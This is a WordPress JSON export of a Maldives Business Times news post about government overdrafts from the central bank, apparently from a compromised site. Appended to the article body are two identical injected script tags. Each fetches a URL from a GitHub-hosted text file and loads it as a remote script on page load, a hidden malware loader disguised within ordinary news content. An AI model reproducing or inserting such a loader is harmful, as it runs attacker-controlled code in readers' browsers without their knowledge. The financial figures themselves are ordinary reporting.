{"id":8069,"date":"2023-12-21T08:15:47","date_gmt":"2023-12-21T03:15:47","guid":{"rendered":"https:\/\/mbt.mv\/?p=8069"},"modified":"2023-12-21T08:15:47","modified_gmt":"2023-12-21T03:15:47","slug":"govt-overdraw-mvr-8-2-bn-in-three-years","status":"publish","type":"post","link":"https:\/\/mbt.mv\/?p=8069","title":{"rendered":"Govt overdraw MVR 8.2 Bn in three years"},"content":{"rendered":"<p>The Maldives government has overdrawn MVR 8.2 billion in the last three years, according to Maldives Monetary Authority (MMA) data.<\/p>\n<p>According to the data, the number of &#8220;net claims&#8221; (another term for overdraw) in 2020 stood at MVR 6.1 billion, but by October 2023, the figured increased to MVR 14.3 billion.<\/p>\n<p>From 2020, the Maldives government set out a money-printing limit up to MVR 4.4 billion from the Public Bank Accounts (PBA). Withdrawals up to the limit by the end of this year has already been approved by the Maldives Parliament as well.<\/p>\n<p>Earlier in 2023, the Maldives government printed MVR 4.2 billion and converted the sum into a long-term bond.<script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The Maldives government has overdrawn MVR 8.2 billion in the last three years, according to Maldives Monetary Authority (MMA) data. According to the data, the number of &#8220;net claims&#8221; (another term for overdraw) in 2020 stood at MVR 6.1 billion, but by October 2023, the figured increased to MVR 14.3 billion. From 2020, the Maldives<\/p>\n","protected":false},"author":4,"featured_media":8070,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2423,2424],"tags":[],"class_list":{"0":"post-8069","1":"post","2":"type-post","3":"status-publish","4":"format-standard","5":"has-post-thumbnail","7":"category-business","8":"category-finance"},"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v26.0 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Govt overdraw MVR 8.2 Bn in three years - Maldives Business Times<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/mbt.mv\/?p=8069\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Govt overdraw MVR 8.2 Bn in three years - Maldives Business Times\" \/>\n<meta property=\"og:description\" content=\"The Maldives government has overdrawn MVR 8.2 billion in the last three years, according to Maldives Monetary Authority (MMA) data. According to the data, the number of &#8220;net claims&#8221; (another term for overdraw) in 2020 stood at MVR 6.1 billion, but by October 2023, the figured increased to MVR 14.3 billion. From 2020, the Maldives\" \/>\n<meta property=\"og:url\" content=\"https:\/\/mbt.mv\/?p=8069\" \/>\n<meta property=\"og:site_name\" content=\"Maldives Business Times\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/mvbiztimes\" \/>\n<meta property=\"article:published_time\" content=\"2023-12-21T03:15:47+00:00\" \/>\n<meta name=\"author\" content=\"Mohamed Reehaan\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@mvbiztimes\" \/>\n<meta name=\"twitter:site\" content=\"@mvbiztimes\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Mohamed Reehaan\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 minute\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/mbt.mv\/?p=8069#article\",\"isPartOf\":{\"@id\":\"https:\/\/mbt.mv\/?p=8069\"},\"author\":{\"name\":\"Mohamed Reehaan\",\"@id\":\"https:\/\/mbt.mv\/#\/schema\/person\/a0eedc1134716e7c8e4da095494670c2\"},\"headline\":\"Govt overdraw MVR 8.2 Bn in three years\",\"datePublished\":\"2023-12-21T03:15:47+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/mbt.mv\/?p=8069\"},\"wordCount\":109,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\/\/mbt.mv\/#organization\"},\"image\":{\"@id\":\"https:\/\/mbt.mv\/?p=8069#primaryimage\"},\"thumbnailUrl\":\"\",\"articleSection\":[\"BUSINESS\",\"FINANCE\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\/\/mbt.mv\/?p=8069#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/mbt.mv\/?p=8069\",\"url\":\"https:\/\/mbt.mv\/?p=8069\",\"name\":\"Govt overdraw MVR 8.2 Bn in three years - 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